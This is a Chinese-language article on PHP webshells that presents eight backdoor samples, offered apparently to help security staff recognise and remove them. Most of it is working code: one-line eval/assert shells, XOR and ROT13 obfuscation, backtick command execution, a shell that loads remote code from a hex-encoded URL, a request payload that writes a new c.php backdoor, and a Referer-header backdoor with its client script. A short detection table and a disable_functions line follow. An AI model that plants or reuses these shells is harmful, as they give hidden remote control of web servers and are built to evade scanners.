Webshell 是滲透測試與應急響應的核心攻防點。本文由淺入深剖析 8 類典型 PHP 後門樣本,涵蓋變形技巧、免殺原理、流量特徵,助力安全人員快速識別與清理。
<?php @eval($_POST['cmd']); ?> <?php @assert($_POST['cmd']); ?>
特徵:高危函數 eval/assert + 超全局變數,掃描器 100% 檢出。
<?php
@$_++; // $_ = 1
$__ = ("#" ^ "|"); // _
$__ .= ("." ^ "~"); // P
$__ .= ("/" ^ "`"); // O
$__ .= ("|" ^ "/"); // S
$__ .= ("{" ^ "/"); // T
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1])
?>
原理:利用 XOR 運算動態生成 _POST 字符串,避免靜態特徵。壓縮版:
<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
<?php
$c = urldecode($_GET['c']);
if ($c) { `$c`; }
// 精簡版:!$_GET['c'] || `{$_GET['c']}`;
// 示例:?c=type%20config.php>config.txt
?>
原理:PHP 中反引號 ` 直接執行系統命令,無敏感函數調用,極難靜態檢測。
<?php
preg_replace("/[errorpage]/e", @str_rot13('@nffreg($_CBFG[cntr]);'), "saft");
// 密碼:page
// str_rot13 解碼後為 @assert($_POST[page]);
?>
特徵:/e 修飾符使替換字符串作為 PHP 代碼執行,配合 ROT13 編碼隱藏 payload。
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");
if (empty($_SESSION['api'])) {
$_SESSION['api'] = substr(file_get_contents(
sprintf('%s?%s',
pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),
uniqid()
)
), 3649);
}
@preg_replace("~(.*)~ies", gzuncompress($_SESSION['api']), null);
?>
解析:
pack('H*', ...) 解碼出 URL:https://7shell.googlecode.com/svn/make.jpgsubstr(..., 3649) 截取隱寫數據gzuncompress 解壓獲得真實代碼preg_replace /e 執行還原惡意代碼:
<?php
echo gzuncompress(substr(file_get_contents(
sprintf('%s?%s', pack('H*', '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'), uniqid())
), 3649));
?>
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode'] && preg_replace(
'\'a\'eis',
'e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))',
'a'
);
?>
亮點:eval 字符串拼接 + base64 編碼 + preg_replace /e,靜態掃描無敏感特徵。
<?php $_GET['a']($_GET['b']); ?>
利用方式:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x)});
寫入 c.php 一句話後門,a=assert 觸發寫入,a=eval 報錯但文件已生成。
文件 1(服務端):
<?php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if (reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(' ', '+', implode(array_slice($a, 6)))));
}
?>
文件 2(客戶端):
<?php
$code = base64_encode('phpinfo();');
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
$ch = curl_init('https://target/1.php');
curl_setopt_array($ch, [
CURLOPT_HEADER => false,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_REFERER => $referer
]);
echo curl_exec($ch);
?>
原理:通過 Referer 頭傳遞 Base64 編碼 Payload,WAF 往往忽略 Referer 檢測。
| 層級 | 靜態特徵 | 動態特徵 | 清理難度 |
|---|---|---|---|
| 1-2 | eval/assert/_POST/XOR構造 | POST 請求帶代碼 | 低 |
| 3 | 反引號/系统命令 | GET 參數含命令 | 中 |
| 4-5 | preg_replace/e/str_rot13/pack/遠程加載 | 異常網絡連接/會話異常 | 高 |
| 6-8 | 無明顯特徵 | Referer異常/Session異常/參數異常 | 極高 |
disable_functions=eval,assert,exec,shell_exec,system,passthru,popen,proc_open,preg_replace